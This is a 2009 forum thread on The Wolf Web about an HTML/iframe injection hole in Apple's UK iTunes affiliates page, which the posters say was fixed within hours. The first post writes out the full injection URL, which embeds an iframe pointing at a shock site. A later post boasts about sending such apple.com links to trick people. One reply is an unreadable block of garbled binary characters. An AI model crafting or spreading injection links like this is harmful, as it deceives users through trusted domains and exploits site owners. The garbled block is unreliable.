User not logged in - login - register
Home Calendar Books School Tool Photo Gallery Message Boards Users Statistics Advertise Site Info
go to bottom | |
 Message Boards » » This is the best part of web 2.0 Page [1]  
Shaggy
All American
17820 Posts
user info
edit post

damnable tww url parser!

curse you.

http://www.apple.com/uk/itunes/affiliates/download/?artistName=%3Cblink%3EApple%20%3Cmarquee%3E%3Cbr/%3E%20%3Ciframe%20src=

h

ttp%3A%2F%2Fw

ww.goatse.fr%20width=800%20height=400%3E%3C/iframe%3E&thumbnailUrl=http%3A//images.apple.com/home/images/promo_mac_ads_20091022.jpg&itmsUrl=http%3A%2F%2Fitunes.apple.com%2FWebObjects%2FMZStore.woa%2Fwa%2FviewAlbum%3Fid%3D330407877%26s%3D143444%26ign-mscache%3D1&albumName=%3Cblink%3Ea%20wide-open%20HTML%20injection%20hole

[Edited on November 18, 2009 at 4:48 PM. Reason : srgedrgerg]

11/18/2009 4:40:45 PM

God
All American
28747 Posts
user info
edit post

this is the best part of web 2.0

BIlRL'ÄœjZˆÈÀ‚aÒbϸÀ<ª»ýZÆ©*LœÙÚDü0 ËÑWó-çêÂ|û Ö¶*Ë !OòŸâËöD ⢡K‚4£8™sœÝ«
§XPÃ#9ž³Ð`TµM$ ¤€cž¿ UTÑQÈ3´“œ‚ryF ¬T1m9²“©³ j“$@<UCÅd f¤tŸs8 Ãz*Ù¬‘Üü°ÐÆÈ 12T F^#,4“Hê ~™‚HÄàî*µ3&Ö͇î/Û€Šä–³[ŇԜ+$ÆgÃ<}«¡Ê†Ôºu–ÌLŸŒ` XHR°Ì„?À&ƒnÈåª!¤¹2§8 ?nŠ¿PÔzxý«£Z=NôÁ#IEò€uv€€ã)fÙЖØ^à5kU Þt‰€>1ôn®Ñ¸Da­±B ¹E­¡bX í¿.ãQv¥^TÞ„+BýRgÀôÀYö ª‹YTVbÄ"<‹Ñ@iÊ2’p]žåšµZ þYRË"H£Œ§ö`$vM¶F"ÒÌÛˆÖ*#3–@Ç<ëÚ¶ŠP•@°Um`4g$>#á¯5V
)pªV´PI€GÏ,weWòÖ§C¼‘Øwëßaöú«[¬(ð°¨÷8 ~ĺ
6ª–Aæqõ2öÏ>ý';Ãm­JÂ’lW?ÊÌÀ'§Ó1‘ýØ K’yn ™ÿ õ¢5ÄB¶ÝòûwÀYƒ¶½@ ³1Ô¤úà UlP Å?LÞp
ÚvÂN@KY–GV^\ºŒ^§U\’|Âc¿~Ýp
Þ˜)ÈÒNýF žŒ€r€<¡~AŸŒà>w´ Ž¤Ì–øf_}ËZ†î–$”?Y=KOs`9Wõ:–W¿á=#%w®¨Ðuƒ’‘‘Œ¼öËîèã•-OUÅÖ
ãÊ
D =|åÇm­u0Zƒb°Ô–L“«â``µÜлȭT«ùŸLŸ hœ´ƒ"0^#”®Êԁ £ÊÌ`
>~8ïy@µ‹VÂ)ÔKCyb:,ŒÀÈøñ|͆Ú×ÌÉk
Æ™a—ŒD ÎBÏËl!Áµ¬S¤,“'<²ðá}Ë»Õ}é©I`;‡öà-ü.ÿ kp-æj•$ùAXƒØί¸xÕ?¥Æ zIî¿Ø
¸ÙÝè´‚ë\V'ç€q°ôÕ”ªÂ(r€3ìOŽ_Šfk2RÌ$e¦'¤¸ ]½B¢Øć˜Æg¨ÀHUí=ÓzˆRåK2ü*3ÎH8
Ån6ÅC'D ’éÊ<c ØÖe”+1R"Lb`DÈÀFòöªõ3m*¤(2Æzç$ŸŽ+uêT*i$¸"L™’:OÏ Šè?š ŠD‘¦¥ú¼ÙNFc<ž÷Ó·®Æ&»é#NFf2? ˜ÛíëãÂ49ÐL¨'6“ ïÛR]eö@RiQ‘Qðé× ëe^ïNj)ò*æÇI1˜')ëã€]]önÝÔ¨ZY´DÆ^ž³óÖ[Ôc¨°" 4€"?n ¿§ÎÝ+ýBï”!F»„ºA9yn«(ÀvÕTçæ\ÇO† Â’J€dâï#Ç µ¥UA"Lý_<R°=‡ìÀ%–3’g¡?íñÀ5¾ÿ åžÇ9÷`ë¾®Óÿ º&pK'ëFŸ,GOøré– ûtÓa:[ÒŒƒ ½IÌþØ8+C  <bfAÒ#©ðÀ9 ÞÃN±š’Ì<@Œ |òí€"íè+¥ƒ •#ðÌwù`J5µlb$êIÿ ӐÔ` UŒ_Ó$¬ „ƒ,˜j¤3 ”R €O\û`
X+b¦j¯&D+eÖ$™sÀ•Zuºs*Ç9d`ç× ]¢¶É ´õˆ9d`|¼p q Í$+‚®ÌH…c Íè†`¶Š3”Ä“€-å}2 õ ˜‰ˆ3éß)\ƒT4©0ª"¶ ÄtÍz`"÷JÚ
š™zª4(‚rÈ=<pÛõ_P˜`$2N’ ~ÜxrUXê
˜è =†~,]Ì_I{K’2üzà8ãõK]i÷¿˜dOHÛU.NgÊk“€¨ðm·¹Ô–úÐé*2‚Ó¨ÁêGË þº©]ùkiZÙAÕhiR ˆD´|pxí£¢¿¦)•ÒM„ôÕ9#·Ç?·ßUuu­Uê8Ž :]ˆLàuŽwˆª¸ n4.Ie„¾U ­âORNs€á·MªôÛ: H"
‰Äl{…šÕQƒ*‘’Àcnãm")
]C!”ÁS”LŒ°..ËSl]Ùl6Ο4Cà‰™8 ·wö†pX– kC‘ÐA茺`-[kw¬±´ Ò¤I2倰û^ijnë¬.˜‰ f tð0p›Á¸ž
Ø—¬okÔPl©Ö2ë—ÇjV©ìp±¤ä 9g¤Nn¬t’A%§Çà ‘¥Î‘¨H2s‰\¼AÀ…¥³Ë!®W§‡Ë D¯J§©ô±ê2lÿ ~ ÊP ý=Ç_Ùž6×S©4©ÌÀ™ÓŸöà5ïÜú‘jGõ SÑL,ß#€åÕ`–ᬆoK“P¤:G¦àN]0úÍÕ¶ÕS‰:L¤ ©'>°zFx n_r]Ùë
‹›«Žú§.¢b#ۍ˜•Ôƒù, ÿ ™¤Çc&0uo¬¤¥Lñq_˜N—c€]ÛÚî,ò¬ ¼ª°œäö8ÜYDZ”åáÕ¥…Œ&ƒÒpkmþ’V<ÉX%bé“œñÀ8㨩™,UTùc8##×´x`,_?èùA 99ŒÄàÝȍź”à“h'çÓ Þ„­­_3yœ•‘cÐÁÎp^M %WQ:Ô€ÐSÓ÷xà&8¿j¾›-(}6Ru—CŸ\·ÉU¾*²Ê`ÈAè`Ø NρÛ~E–×UU*× ˜ øøà#¹Š V£H!ÇBÐG¤e€­r;¶Á§5ˆAŸV0#!8Þ–°–Ö6¥?H“=;þ# ÃœÙ\Œª+ôëh ™=È?ŽX\O bb¨ÑI+«3øöøàÉ5z‚êhSÖ Ÿ1'©™1€" ª á됍PŽ±× ®È¥‚kÔX| 0'ñÀIÑMuÕPFÿ 1$É" &HŽS€sE[ZÙ;•!ÄÚˆ=?fï¶ê¨µÜ¸±ó%cÞrížy~‡ÝOê:”Sæ~'yÖcJ½Dvœð¦ÊJêOyëŸËà Z“LF}çáø`•´t2Žø ªy„ôñ?MÆä€@ÈŽ]ÎŽâÙfÌø+¤‰Ÿóý‘Ûåæ!á

11/18/2009 4:43:24 PM

Shaggy
All American
17820 Posts
user info
edit post

hah, they already fixed it.

tl;dr super fun iframe injection into apple.com leads to scrolling goatse!

11/18/2009 4:50:55 PM

qntmfred
retired
40551 Posts
user info
edit post

i take it this is about http://news.ycombinator.com/item?id=948757

11/18/2009 4:51:32 PM

Shaggy
All American
17820 Posts
user info
edit post

yea

11/18/2009 4:52:07 PM

Shaggy
All American
17820 Posts
user info
edit post

can the tww parser be fixed to ignore everything in the code tags ?

11/18/2009 4:52:58 PM

qntmfred
retired
40551 Posts
user info
edit post

i mean it prolly could. i'm sure another edge case would pop up though. eventually i'll get around to trying to fix it completely

11/18/2009 4:54:15 PM

qntmfred
retired
40551 Posts
user info
edit post

i like how everybody is picking on Apple when probably at least 2/3 of sites are open to XSS, CSRF or SQL Injection

edit: not to say they shouldn't pick on them. that's they only way people learn. the fact that they fixed it within hours says a lot though

[Edited on November 18, 2009 at 4:57 PM. Reason : .]

11/18/2009 4:56:05 PM

Shaggy
All American
17820 Posts
user info
edit post

its only fun when its a common name cause then you can send people a link w/ apple.com and they think well this is sure to be safe and then they get a big ol face of the goatman.

11/18/2009 4:56:59 PM

 Message Boards » Tech Talk » This is the best part of web 2.0 Page [1]  
go to top | |
Admin Options : move topic | lock topic

© 2024 by The Wolf Web - All Rights Reserved.
The material located at this site is not endorsed, sponsored or provided by or on behalf of North Carolina State University.
Powered by CrazyWeb v2.38 - our disclaimer.